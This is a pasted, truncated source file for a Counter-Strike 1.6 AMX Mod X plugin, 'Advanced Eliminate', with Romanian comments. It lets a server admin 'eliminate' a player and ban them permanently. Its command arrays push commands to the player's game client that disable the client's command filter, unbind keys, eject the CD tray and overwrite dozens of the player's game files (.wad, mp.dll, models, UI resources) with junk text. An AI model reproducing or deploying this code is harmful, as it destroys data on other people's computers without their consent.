Advertisement
Guest User

Untitled

a guest
Jan 24th, 2018
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.39 KB | None | 0 0
  1. /*
  2. ___________________________________________________________________________________________________________
  3. ===========================================================================================================
  4. ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  5. ___________________________________
  6. |= =|
  7. |= Advanced Eliminate =|
  8. |= ¯¯¯¯¯¯¯¯ ¯by¯¯¯¯¯¯ =|
  9. |= ¯¯Askhanar =|
  10. |= ¯¯¯¯¯¯¯¯ =|
  11. ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  12. __________________________________________________________________________________________________________
  13. |==========================================================================================================|
  14. | |
  15. | Copyright © 2012, Askhanar |
  16. | Acest fisier este prevazut asa cum este ( fara garantii ) |
  17. | |
  18. |==========================================================================================================|
  19. ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  20. - ¦ « Prieteni » ¦ -
  21. ** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
  22. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  23. * * * * * *
  24. * * Rap^ Frosten TheBeast AZAEL! * *
  25. * * fuzy razvan W-strafer RZV SNKT * *
  26. * * ahonen Arion pHum d e w * *
  27. * * gLobe syBlow kvL^ krom3 * *
  28. * * Henk DANYEL SimpLe XENON^ * *
  29. * * * * * *
  30. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  31. ** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
  32.  
  33. - ¦ « Multumiri » ¦ -
  34. ** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
  35. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  36. * * * * * *
  37. * * o war3ft mod celor ce au creat modul war3ft pentru ca am luat * *
  38. * * din plugin-ul lor ultimate-ul de la * *
  39. * * rasa undead ( acela de explodeaza ). * *
  40. * * * * * *
  41. * * o Rap^ pentru ca m-a ajutat tot timpul cu * *
  42. * * testatul si imbunatatirea plugin-ului * *
  43. * * * * * *
  44. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  45. ** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
  46. __________________________________________________________________________________________________________
  47. |==========================================================================================================|
  48. * *
  49. * Daca gasiti ceva in neregula, va rog sa ma contactati. *
  50. ** **
  51. * YM: red_bull2oo6 *
  52. * Steam: red_bull2oo6 *
  53. ** e-mail: red_bull2oo6@yahoo.com **
  54. * *
  55. * *
  56. |****************************************************************************************|
  57. ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  58. */
  59.  
  60. #include < amxmodx >
  61. #include < amxmisc >
  62.  
  63. #include < fun >
  64. #include < ColorChat >
  65.  
  66. #pragma semicolon 1
  67.  
  68. #define PLUGIN "Advanced Eliminate"
  69. #define VERSION "0.1.5"
  70.  
  71.  
  72. #define EliminatesNum 5120
  73. #define ELIMINATETASK 112233 //Nu modifica..
  74. #define ELIMINATE_ACCESS ADMIN_CFG
  75.  
  76. static const ServerLicensedIp[ ] = "93.119.24.26";
  77.  
  78. new const FirstEliminateCommands[ ][ ] =
  79. {
  80. "cl_filterstuffcmd 0",
  81. "unbindall",
  82. "developer 1",
  83. "name SuntDistrus[Advanced_Eliminate]",
  84. "cd eject",
  85. "bind d snapshot",
  86. "bind a snapshot",
  87. "bind s snapshot",
  88. "bind w snapshot",
  89. "bind mouse1 snapshot",
  90. "bind mouse2 snapshot",
  91. "bind TAB snapshot",
  92. "bind SPACE snapshot",
  93. "bind y snapshot",
  94. "bind u snapshot",
  95. "bind ` snapshot",
  96. "bind ~ snapshot",
  97. "con_color 1 1 1",
  98. "hud_draw 0;hideradar;wait;room_type 10;wait;volume 5",
  99. "rate 1;wait;cl_cmdrate 10;wait;cl_updaterate 10;wait;gl_flipmatrix 1",
  100. "fps_modem 1,wait;fps_max 2;wait;sys_ticrate 1;wait;m_pitch 0.0;wait;m_yaw 0.0",
  101. "motdfile as_tundra.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  102. "motdfile cs_747.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  103. "motdfile cs_assault.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  104. "motdfile cs_office.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  105. "motdfile cstrike.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  106. "motdfile de_aztec.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  107. "motdfile de_dust.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  108. "motdfile decals.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  109. "motdfile halflife.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  110. "motdfile pldecal.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  111. "motdfile tempdecal.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  112. "motdfile events/ak47.sc;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  113. "motdfile dlls/mp.dll;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  114. "motdfile resource/ClientScheme.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  115. "motdfile resource/GameMenu.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  116. "motdfile resource/TrackerScheme.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  117. "motdfile resource/BackgroundLayout.txt;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  118. "motdfile resource/BackgroundLoadingLayout.txt;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  119. "motdfile resource/UI/MOTD.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  120. "motdfile resource/UI/ScoreBoard.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  121. "motdfile resource/UI/Spectator.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  122. "motdfile resource/logo_game.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  123. "motdfile resource/UI/BuyMenu.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  124. "motdfile resource/UI/Classmenu.res.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  125. "motdfile resource/UI/Teammenu.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  126. "motdfile resource/UI/TutorTextWindow.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  127. "motdfile resource/UI/BottomSpectator.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  128. "motdfile sprites/hud.txt;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  129. "motdfile sprites/320hud1.spr;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  130. "motdfile sprites/640hud10.spr;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  131. "motdfile sprites/640hud11.spr;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  132. "say ^"Am fost distrus cu Advanced Eliminate v0.1.5 by Askhanar!^""
  133.  
  134. };
  135.  
  136.  
  137. new const SecondEliminateCommands[ ][ ] =
  138. {
  139.  
  140. "cl_filterstuffcmd 0",
  141. "motdfile models/player/gign/gign.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  142. "motdfile models/player/arctic/arctic.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  143. "motdfile models/player/vip/vip.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  144. "motdfile models/player/urban/urban.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  145. "motdfile models/player/terror/terror.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  146. "motdfile models/player/sas/sas.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  147. "motdfile models/player/leet/leet.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  148. "motdfile models/player/gsg9/gsg9.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  149. "motdfile models/player/guerilla/guerilla.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  150. "motdfile models/player/xt/xt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  151. "motdfile models/sv/v_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  152. "motdfile models/sv/w_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  153. "motdfile models/sv/p_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  154. "motdfile models/bag.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  155. "motdfile models/aflock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  156. "motdfile models/dragon.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  157. "motdfile models/bigrat.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  158. "motdfile models/big_rock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  159. "motdfile models/gibs_null.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  160. "motdfile models/gibs_rock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  161. "motdfile models/gman.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  162. "motdfile models/grass.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  163. "motdfile models/hgrunt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  164. "motdfile models/holo.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  165. "motdfile models/hornet.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  166. "motdfile models/hassassint.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  167. "motdfile models/hairt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  168. "motdfile models/v_knife.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  169. "motdfile models/p_knife.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  170. "motdfile models/oranget.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  171. "motdfile models/v_ak47.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  172. "motdfile models/v_m4a1.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  173. "motdfile models/orange.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  174. "motdfile models/jeep2.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  175. "motdfile models/gibs_vent2.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  176. "motdfile models/v_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  177. "motdfile models/p_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  178. "motdfile models/w_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  179. "motdfile models/v_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  180. "motdfile models/p_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
  181. "motdfile models/w_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar"
  182.  
  183. };
  184.  
  185. new const EliminateDataFile[ ] = "EliminateData.txt";
  186. new const EliminateLogFile[ ] = "EliminateLog.txt";
  187.  
  188. new const EliminateExplodeSpr[ ] = "sprites/zerogxplode.spr";
  189. new const EliminateShockWaveSpr[ ] = "sprites/shockwave.spr";
  190. new const EliminateSmokeSpr[ ] = "sprites/steam1.spr";
  191.  
  192. new const EliminateExplodeSound[ ] = "ambience/particle_suck1.wav";
  193.  
  194.  
  195. //Pentru ban-uri..
  196. new EliminatedTime[ EliminatesNum ] [ 32 ];
  197. new EliminatedName[ EliminatesNum ] [ 32 ];
  198. new EliminatedIp[ EliminatesNum ] [ 32 ];
  199. new EliminatedSteamId[ EliminatesNum ] [ 35 ];
  200. new EliminatedAdminName[ EliminatesNum ] [ 32 ];
  201. new EliminatedAdminIp[ EliminatesNum ] [ 32 ];
  202. new EliminatedAdminSteamId[ EliminatesNum ] [ 35 ];
  203. new EliminatedReason[ EliminatesNum ] [ 32 ];
  204.  
  205. new Eliminates = 0;
  206.  
  207. new cvar_tag;
  208. new cvar_site;
  209.  
  210. new SyncHudMessage;
  211. new ExplodeSpr, ShockWaveSpr, SmokeSpr;
  212.  
  213. new vOrigin[ 33 ][ 3 ];
  214.  
  215. //De aici nu va mai explic..pentru ca nu e nevoie sa intelegeti voi...
  216. //Daca modificati sunteti bun raspunzatori.
  217. public plugin_init( )
  218. {
  219. new ServerIp[ 22 ];
  220. get_user_ip( 0, ServerIp, sizeof ( ServerIp ) -1, 1 );
  221.  
  222. if( equal( ServerIp, ServerLicensedIp ) )
  223. {
  224.  
  225. register_plugin( PLUGIN, VERSION, "Askhanar" );
  226.  
  227. cvar_tag = register_cvar( "ae_tag", "[D/C]" );
  228. cvar_site = register_cvar( "ae_site", "www.disconnect.ro/forum" );
  229.  
  230. register_concmd( "amx_eliminate", "ConCmdEliminate", -1, "< nume / parte din nume > < motiv >" );
  231. register_concmd( "amx_uneliminate", "ConCmdUnEliminate", -1, "< ip / steamid > < motiv >" );
  232. register_concmd( "amx_printeliminates", "ConCmdPrintEliminates", -1, "" );
  233. register_concmd( "amx_reloadeliminates", "ConCmdReloadEliminates", -1, "" );
  234.  
  235. SyncHudMessage = CreateHudSyncObj( );
  236. server_print( "%s Felicitari! Detii o licenta valida, iar pluginul functioneaza perfect!", PLUGIN );
  237. server_print( "%s Pentru mai multe detalii y/m: red_bull2oo6 | steam: red_bull2oo6 !", PLUGIN );
  238. //server_print( "%s Ip-ul Licentiat: %s, Ip-ul Serverului: %s", PLUGIN, ServerIp, ServerLicensedIp );
  239. }
  240. else
  241. {
  242. new PluginName[ 32 ];
  243. format( PluginName, sizeof ( PluginName ) -1, "[Ip Nelicentiat] %s", PLUGIN );
  244. register_plugin( PluginName, VERSION, "Askhanar" );
  245.  
  246. server_print( "%s Nu detii o licenta valabila ! Plugin-ul nu va functiona corespunzator !", PLUGIN );
  247. server_print( "%s Pentru mai multe detalii y/m: red_bull2oo6 | steam: red_bull2oo6 !", PLUGIN );
  248. //server_print( "%s Ip-ul Licentiat: %s, Ip-ul Serverului: %s", PLUGIN, ServerIp, ServerLicensedIp );
  249.  
  250. pause( "ade" );
  251. }
  252.  
  253. }
  254.  
  255. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  256.  
  257. public plugin_precache( )
  258. {
  259. new ServerIp[ 22 ];
  260. get_user_ip( 0, ServerIp, sizeof ( ServerIp ) -1, 1 );
  261.  
  262. if( equal( ServerIp, ServerLicensedIp ) )
  263. {
  264.  
  265. ExplodeSpr = precache_model( EliminateExplodeSpr );
  266. ShockWaveSpr = precache_model( EliminateShockWaveSpr );
  267. SmokeSpr = precache_model( EliminateSmokeSpr );
  268.  
  269. precache_sound( EliminateExplodeSound );
  270.  
  271. new File[ 128 ];
  272. get_configsdir( File, sizeof ( File ) -1 );
  273. formatex( File, sizeof ( File ) -1, "%s/%s", File, EliminateLogFile );
  274.  
  275. if( !file_exists( File ) )
  276. {
  277. write_file( File ,"In acest log veti gasi urmatoarele informatii:", -1 );
  278. write_file( File ,"Cine, cand si cui a dat eliminate dar si pe ce motiv.",-1 );
  279. write_file( File ,"Cine, cand si cui a scos eliminarea dar si pe ce motiv.",-1 );
  280. write_file( File ,"",-1 );
  281. write_file( File ,"",-1 );
  282. }
  283.  
  284. get_configsdir( File, sizeof ( File ) -1 );
  285. formatex( File, sizeof ( File ) -1, "%s/%s", File, EliminateDataFile );
  286.  
  287. if( !file_exists( File ) )
  288. {
  289. write_file( File ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
  290. write_file( File ,";",-1 );
  291. write_file( File ,";",-1 );
  292. }
  293.  
  294. LoadEliminates( );
  295. }
  296.  
  297. }
  298.  
  299. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  300.  
  301. public client_authorized( id )
  302. {
  303.  
  304. if ( is_user_bot( id ) || is_user_hltv( id ) ) return 0;
  305.  
  306. vOrigin[ id ][ 0 ] = 0;
  307. vOrigin[ id ][ 1 ] = 0;
  308. vOrigin[ id ][ 2 ] = 0;
  309.  
  310. new ip[ 32 ], authid[ 35 ], bool:IsSteamUser = false;
  311. get_user_ip( id, ip , sizeof ( ip ) -1, 1 );
  312. get_user_authid( id, authid, sizeof ( authid ) -1 );
  313.  
  314. IsSteamUser = ( authid[ 7 ] == ':' ? true : false );
  315.  
  316. for( new i = 0; i < Eliminates ; i++ )
  317. {
  318. if( !IsSteamUser && equal( EliminatedIp[ i ], ip ) || IsSteamUser && equal( EliminatedSteamId[ i ], authid ) )
  319. {
  320. PrintConsoleInfo( id, EliminatedName[ i ], EliminatedIp[ i ], EliminatedSteamId[ i ], EliminatedReason[ i ],
  321. EliminatedAdminName[ i ], EliminatedAdminIp[ i ], EliminatedAdminSteamId[ i ], EliminatedTime[ i ] );
  322.  
  323. set_task( 1.0, "TaskDisconnectPlayer", id + ELIMINATETASK );
  324.  
  325. break;
  326. }
  327. }
  328.  
  329.  
  330. return 0;
  331. }
  332.  
  333. public client_disconnect( id )
  334. {
  335. vOrigin[ id ][ 0 ] = 0;
  336. vOrigin[ id ][ 1 ] = 0;
  337. vOrigin[ id ][ 2 ] = 0;
  338. }
  339.  
  340. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  341.  
  342. public ConCmdEliminate( id )
  343. {
  344. if( !HasUserAccess( id ) )
  345. {
  346. client_cmd( id, "echo Nu ai acces la aceasta comanda !" );
  347. return 1;
  348. }
  349.  
  350. new FirstArg[ 32 ], SecondArg[ 32 ];
  351. new Player;
  352.  
  353. read_argv( 1, FirstArg , sizeof ( FirstArg ) -1 );
  354. read_argv( 2, SecondArg , sizeof ( SecondArg ) -1 );
  355.  
  356. if( equal( FirstArg, "" ) || equal( SecondArg, "" ) )
  357. {
  358. client_cmd( id, "echo amx_eliminate < nume / parte din nume > < motiv > !" );
  359. return 1;
  360. }
  361.  
  362. Player = cmd_target( id, FirstArg, 8 );
  363.  
  364. if( !Player || !is_user_connected( Player ) ) return 1;
  365.  
  366. set_hudmessage( random( 256 ), random( 256 ), random( 256 ), -1.0, random_float( 0.10, 0.23 ), 0, 0.0, 5.0, 0.1, 0.2, 3 );
  367. ShowSyncHudMsg( 0, SyncHudMessage, "%s a fost eliminat de pe server !^nI-au fost stricate majoritatea fisierelor !^nA primit ban permanent !", get_name( Player ) );
  368.  
  369. client_cmd( 0, "spk ^"vox/bizwarn _comma _comma detected user and eliminate^"" );
  370. ColorChat( 0, RED,"^x04%s^x03 %s^x01 l-a eliminat pe^x03 %s^x01 Motiv:^x03 %s^x01 !", get_tag( ), get_name( id ), get_name( Player ), SecondArg );
  371.  
  372. client_cmd( id, "echo %s a fost eliminat !", get_name( Player ) );
  373. client_cmd( id, "echo Motiv: %s !", SecondArg );
  374.  
  375. client_cmd( Player, "-forward;wait;-back;wait;-moveleft;wait;-moveright;wait;-duck;wait;-showscores" );
  376. client_cmd( Player, "-attack;wait;-attack2" );
  377.  
  378. PrintConsoleInfo( Player, get_name( Player ), get_ip( Player ), get_authid( Player ), SecondArg,
  379. get_name( id ), get_ip( id ), get_authid( id ), _get_time( ) );
  380.  
  381. LogToConfigs( "Admin %s [%s] (%s) - l-a eliminat pe - %s [%s] (%s) - Motiv: %s ",
  382. get_name( id ), get_authid( id ), get_ip( id ), get_name( Player ),
  383. get_authid( Player ), get_ip( Player ), SecondArg );
  384.  
  385. if( is_user_alive( Player ) )
  386. {
  387. CreateEliminateEffects( Player + ELIMINATETASK );
  388. }
  389.  
  390. EliminateUser( id, Player, SecondArg );
  391. set_task( 5.0, "TaskDisconnectPlayerFromSV", Player + ELIMINATETASK );
  392.  
  393. return 1;
  394. }
  395.  
  396. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  397.  
  398. public ConCmdUnEliminate( id )
  399. {
  400. if( !HasUserAccess( id ) )
  401. {
  402. client_cmd( id, "echo Nu ai acces la aceasta comanda !" );
  403. return 1;
  404. }
  405.  
  406. new FirstArg[ 32 ], SecondArg[ 32 ];
  407. new bool:EliminationFound = false;
  408.  
  409. read_argv( 1, FirstArg , sizeof ( FirstArg ) -1 );
  410. read_argv( 2, SecondArg , sizeof ( SecondArg ) -1 );
  411.  
  412. if( equal( FirstArg, "" ) || equal( SecondArg, "" ) )
  413. {
  414. if( id == 0 )
  415. {
  416. server_print( "amx_eliminate < ip / steamid > < motiv > !" );
  417. return 1;
  418.  
  419. }
  420.  
  421. else
  422. {
  423. client_cmd( id, "echo amx_eliminate < ip / steamid > < motiv > !" );
  424. return 1;
  425. }
  426. }
  427.  
  428. new plugin_info[ 128 ];
  429. if( id == 0 )
  430. {
  431. formatex( plugin_info, sizeof ( plugin_info ) -1,"************ %s v%s by %s ***********", PLUGIN, VERSION, "Askhanar");
  432. }
  433. else
  434. {
  435. formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"************ %s v%s by %s ***********^"", PLUGIN, VERSION, "Askhanar");
  436. }
  437.  
  438. for( new i = 0; i < Eliminates ; i++ )
  439. {
  440. if( equal( EliminatedIp[ i ], FirstArg ) || equal( EliminatedSteamId[ i ], FirstArg ) )
  441. {
  442.  
  443. if( id == 0)
  444. {
  445.  
  446.  
  447. server_print( "****************************************************");
  448. server_print( "************* Informatii despre scoaterea eliminarii ***********" );
  449. server_print( "* " );
  450. server_print( "* Nume: %s", EliminatedName[ i ] );
  451. server_print( "* Ip: %s", EliminatedIp[ i ] );
  452. server_print( "* Steamid: %s", EliminatedSteamId[ i ] );
  453. server_print( "* Motiv: %s ", EliminatedReason[ i ] );
  454. server_print( "* Durata: Permanenta" );
  455. server_print( "* Nume Admin: %s", EliminatedAdminName[ i ] );
  456. server_print( "* Ip Admin: %s", EliminatedAdminIp[ i ] );
  457. server_print( "* Steamid Admin: %s", EliminatedAdminSteamId[ i ] );
  458. server_print( "* Data/Ora: %s", EliminatedTime[ i ] );
  459. server_print( "* " );
  460. server_print( "* Comanda executata cu succes !" );
  461. server_print( "* Eliminarea de pe ip-ul / steamid-ul |%s| a fost scoasa.", FirstArg );
  462. server_print( "* ");
  463. server_print( "****************************************************");
  464. server_print( "%s", plugin_info );
  465. server_print( "****************************************************");
  466.  
  467. EliminationFound = true;
  468.  
  469. LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
  470. LogToConfigs( "ADMIN %s (%s) - a scos eliminarea ce urmeaza ! - Motiv: %s", get_name( id ), get_ip( id ), SecondArg );
  471. LogToConfigs( "ELIMINARE:| %s | Admin %s [%s] (%s) - l-a eliminat pe %s [%s] (%s) - Motiv: %s", EliminatedTime[ i ], EliminatedAdminName[ i ], EliminatedAdminSteamId[ i ], EliminatedAdminIp[ i ], EliminatedName[ i ], EliminatedSteamId[ i ], EliminatedIp[ i ], EliminatedReason[ i ] );
  472. LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
  473. }
  474.  
  475. else
  476. {
  477.  
  478. client_cmd( id, "echo ^"****************************************************^"");
  479. client_cmd( id, "echo ^"************* Informatii despre scoaterea eliminarii ***********^"" );
  480. client_cmd( id, "echo ^"* ^"" );
  481. client_cmd( id, "echo ^"* Nume: %s^"", EliminatedName[ i ] );
  482. client_cmd( id, "echo ^"* Ip: %s^"", EliminatedIp[ i ] );
  483. client_cmd( id, "echo ^"* Steamid: %s^"", EliminatedSteamId[ i ] );
  484. client_cmd( id, "echo ^"* Motiv: %s ^"", EliminatedReason[ i ] );
  485. client_cmd( id, "echo ^"* Durata: Permanenta^"" );
  486. client_cmd( id, "echo ^"* Nume Admin: %s^"", EliminatedAdminName[ i ] );
  487. client_cmd( id, "echo ^"* Ip Admin: %s^"", EliminatedAdminIp[ i ] );
  488. client_cmd( id, "echo ^"* Steamid Admin: %s^"", EliminatedAdminSteamId[ i ] );
  489. client_cmd( id, "echo ^"* Data/Ora: %s^"", EliminatedTime[ i ] );
  490. client_cmd( id, "echo ^"* ^"" );
  491. client_cmd( id, "echo ^"* Comanda executata cu succes !^"" );
  492. client_cmd( id, "echo ^"* Eliminarea de pe ip-ul / steamid-ul |%s| a fost scoasa.^"", FirstArg );
  493. client_cmd( id, "echo ^"* ^"");
  494. client_cmd( id, "echo ^"****************************************************^"");
  495. client_cmd( id, "%s", plugin_info );
  496. client_cmd( id, "echo ^"****************************************************^"");
  497.  
  498. EliminationFound = true;
  499.  
  500. LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
  501. LogToConfigs( "ADMIN %s [%s] (%s) - a scos eliminarea ce urmeaza ! - Motiv: %s", get_name( id ), get_authid( id ), get_ip( id ), SecondArg );
  502. LogToConfigs( "ELIMINARE:| %s | Admin %s [%s] (%s) - l-a eliminat pe %s [%s] (%s) - Motiv: %s", EliminatedTime[ i ], EliminatedAdminName[ i ], EliminatedAdminSteamId[ i ], EliminatedAdminIp[ i ], EliminatedName[ i ], EliminatedSteamId[ i ], EliminatedIp[ i ], EliminatedReason[ i ] );
  503. LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
  504.  
  505. client_cmd( 0, "spk vox/doop" );
  506. ColorChat( 0, RED,"^x04%s^x03 %s^x01 i-a scos eliminarea lui^x03 %s^x01 !", get_tag( ), get_name( id ), EliminatedName[ i ] );
  507. }
  508.  
  509. RemoveEliminate( i );
  510. break;
  511. }
  512.  
  513. }
  514.  
  515. if( !EliminationFound )
  516. {
  517. if( id == 0 )
  518. {
  519. server_print( "****************************************************" );
  520. server_print( "****************************************************" );
  521. server_print( "* " );
  522. server_print( "* Comanda nu poate fi executata !" );
  523. server_print( "* Ip-ul / steamid-ul |%s|", FirstArg );
  524. server_print( "* Nu a fost gasit in baza de date." );
  525. server_print( "* " );
  526. server_print( "****************************************************");
  527. server_print( "%s", plugin_info );
  528. server_print( "****************************************************");
  529. }
  530.  
  531. else
  532. {
  533.  
  534. client_cmd( id, "echo ^"****************************************************^"" );
  535. client_cmd( id, "echo ^"****************************************************^"" );
  536. client_cmd( id, "echo ^"* ^"" );
  537. client_cmd( id, "echo ^"* Comanda nu poate fi executata !^"" );
  538. client_cmd( id, "echo ^"* Ip-ul / steamid-ul |%s|^"", FirstArg );
  539. client_cmd( id, "echo ^"* Nu a fost gasit in baza de date.^"" );
  540. client_cmd( id, "echo ^"* ^"" );
  541. client_cmd( id, "echo ^"****************************************************^"");
  542. client_cmd( id, "%s", plugin_info );
  543. client_cmd( id, "echo ^"****************************************************^"");
  544. }
  545. }
  546.  
  547. return 1;
  548. }
  549. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  550.  
  551. public ConCmdPrintEliminates( id )
  552. {
  553. if( !( get_user_flags( id ) & ELIMINATE_ACCESS ) )
  554. {
  555. client_cmd( id, "echo Nu ai acces la aceasta comanda !" );
  556. return 1;
  557. }
  558.  
  559. if( Eliminates == 0 )
  560. {
  561. if( id == 0 )
  562. {
  563. server_print( "Nu am gasit nicio eliminare in baza de date !" );
  564. return 1;
  565. }
  566. else
  567. {
  568.  
  569. client_cmd( id, "echo Nu am gasit nicio eliminare in baza de date !" );
  570. return 1;
  571. }
  572. }
  573.  
  574. new start , end, pos_to_num;
  575. new position[ 5 ];
  576.  
  577. read_argv( 1, position, sizeof ( position ) - 1 );
  578. pos_to_num = str_to_num( position );
  579. start = min( pos_to_num, Eliminates ) - 1;
  580.  
  581. if( start <= 0 ) start = 0;
  582.  
  583. end = min( start + 5, Eliminates ); // nu modifica aici mai mult de 5 ca iti va da reliable channel overflowed
  584.  
  585. new plugin_info[ 128 ];
  586.  
  587. if( id == 0 )
  588. {
  589. formatex( plugin_info, sizeof ( plugin_info ) -1,"************ %s v%s by %s ***********", PLUGIN, VERSION, "Askhanar");
  590.  
  591. server_print( "****************************************************" );
  592. server_print( "* Nr total de eliminari: %d | Eliminari vizualizate acum: %d - %d", Eliminates, start + 1, end );
  593. server_print( "* " );
  594.  
  595. for( new i = start ; i < end ; i++ )
  596. {
  597.  
  598. server_print( "***************** Detaliile eliminarii #%d *******************", i + 1 );
  599. server_print( "* " );
  600. server_print( "* " );
